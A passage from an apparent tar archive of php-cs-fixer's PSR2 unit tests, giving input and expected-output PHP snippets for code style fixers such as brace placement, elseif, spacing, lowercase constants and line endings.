    public function provideFixWhitespaceBeforeBraceCases()
    {
        return array(
            array(
                '<?php
    if (true) {
        echo 1;
    }',
                '<?php
    if (true)
    {
        echo 1;
    }',
            ),
            array(
                '<?php
    if (true) {
        echo 1;
    }',
                '<?php
    if (true){
        echo 1;
    }',
            ),
            array(
                '<?php
    if (true) {
        echo 1;
    }',
                '<?php
    if (true)           {
        echo 1;
    }',
            ),
            array(
                '<?php
    while ($file = $this->getFile()) {
    }',
                '<?php
    while ($file = $this->getFile())
    {
    }',
            ),
            array(
                '<?php
    switch (n) {
        case label1:
            echo 1;
            echo 2;
            break;
        default:
            echo 3;
            echo 4;
    }',
                '<?php
    switch (n)
    {
        case label1:
            echo 1;
            echo 2;
            break;
        default:
            echo 3;
            echo 4;
    }',
            ),
        );
    }

    /**
     * @dataProvider provideFixFunctionsCases
     */
    public function testFixFunctions($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixFunctionsCases()
    {
        return array(
            array(
                '<?php
    function download()
    {
    }',
                '<?php
    function download() {
    }',
            ),
            array(
                '<?php
class Foo
{
    public function AAAA()
    {
    }

    public function BBBB()
    {
    }

    public function CCCC()
    {
    }
}',
                '<?php
class Foo
{
    public function AAAA(){
    }

    public function BBBB()   {
    }

    public function CCCC()
    {
    }
}',
            ),
            array(
                '<?php
    filter(function () {
        return true;
    });
',
            ),
            array(
                '<?php
    filter(function   ($a) {});',
                '<?php
    filter(function   ($a)
    {});',
            ),
            array(
                '<?php
    filter(function   ($b) {});',
                '<?php
    filter(function   ($b){});',
            ),
            array(
                '<?php
class Foo
{
    public static function bar()
    {
        return 1;
    }
}',
            ),
            array(
                '<?php
    usort($this->fixers, function &($a, $b) use ($selfName) {
        return 1;
    });',
            ),
            array(
                '<?php
    usort(
        $this->fixers,
        function &($a, $b) use ($selfName) {
            return 1;
        }
    );',
            ),
            array(
                '<?php
    $fnc = function ($a, $b) {// random comment
        return 0;
    };',
                '<?php
    $fnc = function ($a, $b) // random comment
    {
        return 0;
    };',
            ),
            array(
                '<?php
    $fnc = function ($a, $b) {# random comment
        return 0;
    };',
                '<?php
    $fnc = function ($a, $b) # random comment
    {
        return 0;
    };',
            ),
            array(
                '<?php
    $fnc = function ($a, $b) /* random comment */ {
        return 0;
    };',
                '<?php
    $fnc = function ($a, $b) /* random comment */
    {
        return 0;
    };',
            ),
            array(
                '<?php
    $fnc = function ($a, $b) /** random comment */ {
        return 0;
    };',
                '<?php
    $fnc = function ($a, $b) /** random comment */
    {
        return 0;
    };',
            ),
        );
    }

    /**
     * @dataProvider provideFixSpaceAroundTokenCases
     */
    public function testFixSpaceAroundToken($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixSpaceAroundTokenCases()
    {
        return array(
            array(
                '<?php
    try {
        throw new Exception();
    } catch (Exception $e) {
        log($e);
    }',
                '<?php
    try{
        throw new Exception();
    }catch (Exception $e){
        log($e);
    }',
            ),
            array(
                '<?php
    do {
        echo 1;
    } while ($test);',
                '<?php
    do{
        echo 1;
    }while($test);',
            ),
            array(
                '<?php
    if (true === true
        && true === true
    ) {
    }',
                '<?php
    if(true === true
        && true === true
    )     {
    }',
            ),
            array(
                '<?php
    if (1) {
    }
    if ($this->tesT ($test)) {
    }',
                '<?php
    if(1){
    }
    if ($this->tesT ($test)) {
    }',
            ),
            array(
                '<?php
    if (true) {
    } elseif (false) {
    } else {
    }',
                '<?php
    if(true){
    }elseif(false){
    }else{
    }',
            ),
            array(
                '<?php
    $foo = function& () use ($bar) {};',
                '<?php
    $foo = function& ()use($bar){};',
            ),
            array(
                '<?php

// comment
declare (ticks = 1);

// comment
while (true) {
}',
            ),
        );
    }

    /**
     * @dataProvider provide55Cases
     * @requires PHP 5.5
     */
    public function test55($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide55Cases()
    {
        return array(
            array(
                '<?php
    try {
        throw new \Exception();
    } catch (\LogicException $e) {
        // do nothing
    } catch (\Exception $e) {
        // do nothing
    } finally {
        echo "finish!";
    }',
                '<?php
    try {
        throw new \Exception();
    }catch (\LogicException $e) {
        // do nothing
    }
    catch (\Exception $e) {
        // do nothing
    }
    finally     {
        echo "finish!";
    }',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php
$message = (new class() implements FooInterface
{
});',
                '<?php
$message = (new class() implements FooInterface{});',
            ),
            array(
                '<?php $message = (new class()
{
});',
                '<?php $message = (new class() {});',
            ),
            array(
                '<?php
if (1) {
    $message = (new class() extends Foo
    {
        public function bar()
        {
            echo 1;
        }
    });
}',
                '<?php
if (1) {
  $message = (new class() extends Foo
  {
    public function bar() { echo 1; }
  });
}',
            ),
            array(
                '<?php
    class Foo
    {
        public function use()
        {
        }

        public function use1(): string
        {
        }
    }
                ',
                '<?php
    class Foo
    {
        public function use() {
        }

        public function use1(): string {
        }
    }
                ',
            ),
            array(
                '<?php
    $a = function (int $foo): string {
        echo $foo;
    };

    $b = function (int $foo) use ($bar): string {
        echo $foo . $bar;
    };

    function a()
    {
    }
                ',
                '<?php
    $a = function (int $foo): string
    {
        echo $foo;
    };

    $b = function (int $foo) use($bar): string
    {
        echo $foo . $bar;
    };

    function a() {
    }
                ',
            ),
            array(
                '<?php
    class Something
    {
        public function sth(): string
        {
            return function (int $foo) use ($bar): string { return $bar; };
        }
    }
                ',
            ),
            array(
'<?php
use function some\a\{
     test1,
    test2
 };
test();',
            ),
            array(
                '<?php
use some\a\{ClassA, ClassB, ClassC as C};
use function some\a\{fn_a, fn_b, fn_c};
use const some\a\{ConstA, ConstB, ConstC};
',
            ),
        );
    }

    /**
     * @dataProvider providePreserveLineAfterControlBrace
     */
    public function testPreserveLineAfterControlBrace($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function providePreserveLineAfterControlBrace()
    {
        return array(
            array(
                '<?php
if (true) {

    //  The blank line helps with legibility in nested control structures
    if (true) {
        // if body
    }

    // if body
}',
            ),
            array(
                "<?php if (true) {\r\n\r\n// CRLF newline\r\n}",
            ),
        );
    }

    /**
     * TODO: remove on 2.x line.
     *
     * @dataProvider provideDontAddNewLineAfterCurlyBraceOfStringCharacterAccess
     */
    public function testDontAddNewLineAfterCurlyBraceOfStringCharacterAccess($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideDontAddNewLineAfterCurlyBraceOfStringCharacterAccess()
    {
        return array(
            array(
                '<?php
if (true) {
    $property{0} = strtolower($property{0});
}',
            ),
            array(
                '<?php
if (1) {
    echo $items{0}->foo;
    echo $collection->items{1}->property;
}
',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/ElseifFixerTest.php000066600000002643151456236460017532 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Leszek Prabucki <leszek.prabucki@gmail.com>
 */
class ElseifFixerTest extends AbstractFixerTestBase
{
    /**
     * @covers Symfony\CS\Fixer\PSR2\ElseifFixer::fix
     */
    public function testThatInvalidElseIfIsFixed()
    {
        $this->makeTest(
            '<?php if ($some) { $test = true; } else { $test = false; }'
        );

        $this->makeTest(
            '<?php if ($some) { $test = true; } elseif ($some !== "test") { $test = false; }',
            '<?php if ($some) { $test = true; } else if ($some !== "test") { $test = false; }'
        );

        $this->makeTest(
            '<?php if ($some) { $test = true; } elseif ($some !== "test") { $test = false; }',
            '<?php if ($some) { $test = true; } else  if ($some !== "test") { $test = false; }'
        );

        $this->makeTest(
            '<?php $js = \'if (foo.a) { foo.a = "OK"; } else if (foo.b) { foo.b = "OK"; }\';'
        );

        $this->makeTest(
            '<?php
if ($a) {
    $x = 1;
} elseif ($b) {
    $x = 2;
}',
            '<?php
if ($a) {
    $x = 1;
} else
if ($b) {
    $x = 2;
}'
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/ParenthesisFixerTest.php000066600000004162151456236460020606 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Marc Aubé
 */
class ParenthesisFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFixSpaceInsideParenthesis($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testLeaveNewLinesAlone()
    {
        $expected = <<<EOF
<?php

class Foo
{
    private function bar()
    {
        if (foo(
            'foo' ,
            'bar'    ,
            [1, 2, 3],
            'baz' // a comment just to mix things up
        )) {
            return 1;
        };
    }
}
EOF;
        $this->makeTest($expected);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php foo();',
                '<?php foo( );',
            ),
            array(
                '<?php
if (true) {
    // if body
}',
                '<?php
if ( true ) {
    // if body
}',
            ),
            array(
                '<?php
if (true) {
    // if body
}',
                '<?php
if (     true   ) {
    // if body
}',
            ),
            array(
                '<?php
function foo($bar, $baz)
{
    // function body
}',
                '<?php
function foo( $bar, $baz )
{
    // function body
}',
            ),
            array(
                '<?php
$foo->bar($arg1, $arg2);',
                '<?php
$foo->bar(  $arg1, $arg2   );',
            ),
            array(
                '<?php
$var = array( 1, 2, 3 );
',
            ),
            array(
                '<?php
$var = [ 1, 2, 3 ];
',
            ),
            // list call with trailing comma - need to leave alone
            array(
                '<?php list($path, $mode, ) = foo();',
            ),
            array(
                '<?php list($path, $mode,) = foo();',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/EofEndingFixerTest.php000066600000005371151456236460020162 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class EofEndingFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                "<?php\n",
            ),
            array(
                '<?php
$a = 1;
',
                '<?php
$a = 1;',
            ),
            array(
                '<?php
$a = 2;
',
            ),
            array(
                '<?php
$a = 3;
',
                '<?php
$a = 3;


',
            ),
            array(
                "<?php\r\n\$a = 4;\n",
                "<?php\r\n\$a = 4;",
            ),
            array(
                // test not changing line break characters,
                // this is not the responsibility of this fixer
                "<?php\r\n\$a = 5;\r\n",
                "<?php\r\n\$a = 5;\r\n    \r\n",
            ),
            array(
                '<?php
$a = 6;

//test

?>
  ', ),
            array(
                // test for not adding an empty line after PHP tag has been closed
                '<?php
$a = 7;

//test

?>', ),
            array(
                // test for not adding an empty line after PHP tag has been closed
                '<?php
$a = 8;
//test
?>
Outside of PHP tags rendering

', ),
            array(
                // test for not adding an empty line after PHP tag has been closed
                "<?php
//test
?>
inline 1
<?php

?>Inline2\r\n", ),
            array(
                "<?php return true;\n// A comment\n",
                "<?php return true;\n// A comment",
            ),
            array(
                "<?php return true;\n// A comment\n",
                "<?php return true;\n// A comment\n\n",
            ),
            array(
                "<?php return true;\n# A comment\n",
                "<?php return true;\n# A comment",
            ),
            array(
                "<?php return true;\n# A comment\n",
                "<?php return true;\n# A comment\n\n",
            ),
            array(
                "<?php return true;\n/*\nA comment\n*/\n",
                "<?php return true;\n/*\nA comment\n*/",
            ),
            array(
                "<?php return true;\n/*\nA comment\n*/\n",
                "<?php return true;\n/*\nA comment\n*/\n\n",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/LowercaseConstantsFixerTest.php000066600000011402151456236460022135 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author SpacePossum
 */
class LowercaseConstantsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideGeneratedCases
     */
    public function testFixGeneratedCases($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideGeneratedCases()
    {
        $cases = array();
        foreach (array('true', 'false', 'null') as $case) {
            $cases [] = array(
                sprintf('<?php $x = %s;', $case),
                sprintf('<?php $x = %s;', strtoupper($case)),
            );

            $cases [] = array(
                sprintf('<?php $x = %s;', $case),
                sprintf('<?php $x = %s;', ucfirst($case)),
            );

            $cases [] = array(sprintf('<?php $x = new %s;', ucfirst($case)));
            $cases [] = array(sprintf('<?php $x = new %s;', strtoupper($case)));
            $cases [] = array(sprintf('<?php $x = "%s story";', $case));
            $cases [] = array(sprintf('<?php $x = "%s";', $case));
        }

        return $cases;
    }

    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
                array(
                    '<?php if (true) if (false) if (null) {}',
                    '<?php if (TRUE) if (FALSE) if (NULL) {}',
                ),
                array(
                    '<?php if (!true) if (!false) if (!null) {}',
                    '<?php if (!TRUE) if (!FALSE) if (!NULL) {}',
                ),
                array(
                    '<?php if ($a == true) if ($a == false) if ($a == null) {}',
                    '<?php if ($a == TRUE) if ($a == FALSE) if ($a == NULL) {}',
                ),
                array(
                    '<?php if ($a === true) if ($a === false) if ($a === null) {}',
                    '<?php if ($a === TRUE) if ($a === FALSE) if ($a === NULL) {}',
                ),
                array(
                    '<?php if ($a != true) if ($a != false) if ($a != null) {}',
                    '<?php if ($a != TRUE) if ($a != FALSE) if ($a != NULL) {}',
                ),
                array(
                    '<?php if ($a !== true) if ($a !== false) if ($a !== null) {}',
                    '<?php if ($a !== TRUE) if ($a !== FALSE) if ($a !== NULL) {}',
                ),
                array(
                    '<?php if (true && true and true AND true || false or false OR false xor null XOR null) {}',
                    '<?php if (TRUE && TRUE and TRUE AND TRUE || FALSE or FALSE OR FALSE xor NULL XOR NULL) {}',
                ),
                array(
                    '<?php /* foo */ true; /** bar */ false;',
                    '<?php /* foo */ TRUE; /** bar */ FALSE;',
                ),
                array('<?php echo $null;'),
                array('<?php $x = False::foo();'),
                array('<?php namespace Foo\Null;'),
                array('<?php use Foo\Null;'),
                array('<?php use Foo\Null as Null;'),
                array('<?php class True {} class False {} class Null {}'),
                array('<?php class Foo extends True {}'),
                array('<?php class Foo implements False {}'),
                array('<?php Class Null { use True; }'),
                array('<?php interface True {}'),
                array('<?php $foo instanceof True; $foo instanceof False; $foo instanceof Null;'),
                array(
                    '<?php
        class Foo
        {
            const TRUE = 1;
            const FALSE = 2;
            const NULL = null;
        }',
                ),
                array('<?php $x = new /**/False?>'),
                array('<?php Null/**/::test();'),
                array('<?php True//
                                    ::test();'),
        );
    }

    /**
     * @dataProvider provide54Cases
     * @requires PHP 5.4
     */
    public function test54($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide54Cases()
    {
        return array(
            array('<?php trait False {}'),
            array(
                '<?php
    class Null {
        use True, False {
            False::bar insteadof True;
            True::baz insteadof False;
            False::baz as Null;
        }
    }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/LineAfterNamespaceFixerTest.php000066600000004047151456236460022011 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LineAfterNamespaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php namespace A\B?>
                <?php
                    for($i=0; $i<10; ++$i) {echo $i;}',
            ),
            array(
                '<?php namespace A\B?>', ),

            array(
                '<?php
namespace A\B;

class C {}
',
                '<?php
namespace A\B;



class C {}
',
            ),
            array(
                '<?php
namespace A\B;

class C {}
',
            ),
            array(
                '<?php
namespace A\B;

class C {}
',
                '<?php
namespace A\B;
class C {}
',
            ),
            array(
                '<?php
namespace A\B;

class C {}
',
                '<?php
namespace A\B;  class C {}
',
            ),
            array(
                '<?php
namespace A\B;

class C {}
',
                '<?php
namespace A\B;class C {}
',
            ),
            array(
                '<?php
namespace A\B {
    class C {
        public $foo;
        private $bar;
    }
}
',
            ),
            array(
                "<?php\rnamespace A\B;

class C {}\r",
                "<?php\rnamespace A\B;\r\r\r\r\r\rclass C {}\r",
            ),
            array(
                '<?php
namespace Foo;
',
                '<?php
namespace Foo;



',
            ),
            array(
                '<?php
namespace Foo;

?>',
                '<?php
namespace Foo;



?>',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/FunctionDeclarationFixerTest.php000066600000010036151456236460022251 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Denis Sokolov <denis@sokolov.cc>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class FunctionDeclarationFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                // non-PHP test
                'function foo () {}',
            ),
            array(
                '<?php function foo() {}',
                '<?php function	foo() {}',
            ),
            array(
                '<?php function foo() {}',
                '<?php function foo () {}',
            ),
            array(
                '<?php function foo() {}',
                '<?php function foo	() {}',
            ),
            array(
                '<?php function foo() {}',
                '<?php function
foo () {}',
            ),
            array(
                '<?php function ($i) {};',
                '<?php function($i) {};',
            ),
            array(
                '<?php function _function() {}',
                '<?php function _function () {}',
            ),
            array(
                '<?php function foo($a, $b = true) {}',
                '<?php function foo($a, $b = true){}',
            ),
            array(
                '<?php function foo($a, $b = true) {}',
                '<?php function foo($a, $b = true)    {}',
            ),
            array(
                '<?php function foo($a)
{}',
            ),
            array(
                '<?php function ($a) use ($b) {};',
                '<?php function ($a) use ($b)     {};',
            ),
            array(
                '<?php function &foo($a) {}',
                '<?php function &foo( $a ) {}',
            ),
            array(
                '<?php function foo($a)
	{}',
                '<?php function foo( $a)
	{}',
            ),
            array(
                '<?php
    function foo(
        $a,
        $b,
        $c
    ) {}',
            ),
            array(
                '<?php $function = function () {};',
                '<?php $function = function(){};',
            ),
            array(
                '<?php $function("");',
            ),
            array(
                '<?php function ($a) use ($b) {};',
                '<?php function($a)use($b) {};',
            ),
            array(
                '<?php function ($a) use ($b) {};',
                '<?php function($a)         use      ($b) {};',
            ),
            array(
                '<?php function ($a) use ($b) {};',
                '<?php function ($a) use ( $b ) {};',
            ),
            array(
                '<?php function &($a) use ($b) {};',
                '<?php function &(  $a   ) use (   $b      ) {};',
            ),
            array(
                '<?php
    interface Foo
    {
        public function setConfig(ConfigInterface $config);
    }',
            ),
            // do not remove multiline space before { when end of previous line is a comment
            array(
                '<?php
function foo() // bar
{              // baz
}',
            ),
            array(
                '<?php
function foo() /* bar */
{              /* baz */
}',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array('<?php use function some\test\{fn_a, fn_b, fn_c};'),
            array('<?php use function some\test\{fn_a, fn_b, fn_c} ?>'),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/MultipleUseFixerTest.php000066600000004761151456236460020576 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class MultipleUseFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
<<<'EOF'
use Some, Not, PHP, Like, Use, Statement;
<?php

use Foo;
use FooA;
use FooB;
use FooC;
use FooD as D;
use FooE;
use FooF;
use FooG as G;
use FooH;
use FooI;
use FooJ;
use FooZ;

namespace Boo {
    use Bar;
    use BarA;
    use BarB;
    use BarC;
    use BarD as D;
    use BarE;
    use BarF;
    use BarG as G;
    use BarH;
    use BarI;
    use BarJ;
    use BarZ;
}

EOF
            ,
<<<'EOF'
use Some, Not, PHP, Like, Use, Statement;
<?php

use Foo;
use FooA, FooB;
use FooC, FooD as D, FooE;
use FooF,
    FooG as G,
  FooH,     FooI,
        FooJ;
use FooZ;

namespace Boo {
    use Bar;
    use BarA, BarB;
    use BarC, BarD as D, BarE;
    use BarF,
        BarG as G,
      BarH,     BarI,
            BarJ;
    use BarZ;
}

EOF
            ),
                    array(
                '<?php
                    use FooA;
                    use FooB;
                ',
                '<?php
                    use FooA, FooB;
                ',
            ),
            array(
                '<?php use FooA;
use FooB;?>',
                '<?php use FooA, FooB?>',
            ),
        );
    }

    /**
     * @dataProvider provide70Cases
     * @requires PHP 7.0
     */
    public function test70($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provide70Cases()
    {
        return array(
            array(
                '<?php
use some\a\ClassA;
use some\a\ClassB;
use some\a\ClassC as C;
use function some\b\fn_a;
use function some\b\fn_b;
use function some\b\fn_c;
use const some\c\ConstA;
use const some\c\ConstB;
use const some\c\ConstC;
                ',
                '<?php
use some\a\{ClassA, ClassB, ClassC as C};
use    function some\b\{fn_a, fn_b, fn_c};
use const some\c\{ConstA, ConstB, ConstC};
                ',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/LowercaseKeywordsFixerTest.php000066600000002156151456236460021776 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LowercaseKeywordsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array('<?php $x = (1 and 2);', '<?php $x = (1 AND 2);'),
            array('<?php foreach(array(1, 2, 3) as $val) {}', '<?php foreach(array(1, 2, 3) AS $val) {}'),
            array('<?php echo "GOOD AS NEW";'),
            array('<?php echo X::class ?>', '<?php echo X::ClASs ?>'),
        );
    }

    /**
     * @requires PHP 5.4
     */
    public function testHaltCompiler()
    {
        $this->makeTest('<?php __HALT_COMPILER();');
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/FunctionCallSpaceFixerTest.php000066600000005772151456236460021666 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Varga Bence <vbence@czentral.org>
 */
class FunctionCallSpaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider testFixProvider
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function testFixProvider()
    {
        return array(
           // test function call
           array(
                '<?php abc($a);',
                '<?php abc ($a);',
            ),
           // test method call
           array(
                '<?php $o->abc($a);',
                '<?php $o->abc ($a);',
            ),
           // test function-like constructs
           array(
                '<?php
    include("something.php");
    include_once("something.php");
    require("something.php");
    require_once("something.php");
    print("hello");
    unset($hello);
    isset($hello);
    empty($hello);
    die($hello);
    echo("hello");
    array("hello");
    list($a, $b) = $c;
    eval("a");
    foo();
    $foo = &ref();
    ',
                '<?php
    include ("something.php");
    include_once ("something.php");
    require ("something.php");
    require_once ("something.php");
    print ("hello");
    unset ($hello);
    isset ($hello);
    empty ($hello);
    die ($hello);
    echo ("hello");
    array ("hello");
    list ($a, $b) = $c;
    eval ("a");
    foo ();
    $foo = &ref ();
    ',
            ),
            array(
                '<?php echo foo(1) ? "y" : "n";',
                '<?php echo foo (1) ? "y" : "n";',
            ),
            array(
                '<?php echo isset($name) ? "y" : "n";',
                '<?php echo isset ($name) ? "y" : "n";',
            ),
            array(
                '<?php include (isHtml())? "1.html": "1.php";',
                '<?php include (isHtml ())? "1.html": "1.php";',
            ),
            // skip other language constructs
            array(
                '<?php $a = 2 * (1 + 1);',
            ),
            array(
                '<?php echo ($a == $b) ? "foo" : "bar";',
            ),
            array(
                '<?php echo ($a == test($b)) ? "foo" : "bar";',
            ),
            array(
                '<?php include ($html)? "custom.html": "custom.php";',
            ),
            // don't touch function declarations
            array(
                '<?php
                function TisMy ($p1)
                {
                    print $p1;
                }
                ',
            ),
            array(
                'class A {
                    function TisMy    ($p1)
                    {
                        print $p1;
                    }
                }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/TrailingSpacesFixerTest.php000066600000004254151456236460021233 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class TrailingSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
$a = 1;',
                '<?php
$a = 1;   ',
            ),
            array(
                '<?php
$a = 1  ;',
                '<?php
$a = 1  ;   ',
            ),
            array(
                '<?php
$b = 1;',
                '<?php
$b = 1;		',
            ),
            array(
                "<?php \$b = 1;\n  ",
                "<?php \$b = 1;		\n  ",
            ),
            array(
                "<?php \$b = 1;\n\$c = 1;",
                "<?php \$b = 1;   	   \n\$c = 1;",
            ),
            array(
                "<?php\necho 1;\n   \necho2;",
            ),
            array(
                '<?php
	$b = 1;
	',
            ),
            array(
                "<?php\n\$a=1;\n      \n\t\n\$b = 1;",
            ),
            array(
                "<?php\necho 1;\n?>\n\n\n\n",
            ),
            array(
                "<?php\n\techo 1;\n?>\n\n\t  a \r\n	b   \r\n",
            ),
            array(
                "<?php
<<<'EOT'
Il y eut un rire éclatant des écoliers qui décontenança le pauvre
garçon, si bien qu'il ne savait s'il fallait garder sa casquette à
la main, la laisser par terre ou la mettre sur sa tête. Il se
rassit et la posa sur ses genoux.
EOT;
",
            ),
            array(
                "<?php\n\$string = 'x  \ny';\necho (strlen(\$string) === 5);",
            ),
            array(
                "<?php\necho <<<'EOT'\nInline Il y eut un   \r\nrire éclatant    \n     \n   \r\nEOT;\n\n",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/LinefeedFixerTest.php000066600000001424151456236460020032 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class LinefeedFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                "<?php \n \$a = 1;",
                "<?php \r\n \$a = 1;",
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/PSR2/SingleLineAfterImportsFixerTest.php000066600000013456151456236460022720 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\PSR2;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Ceeram <ceeram@cakephp.org>
 */
class SingleLineAfterImportsFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
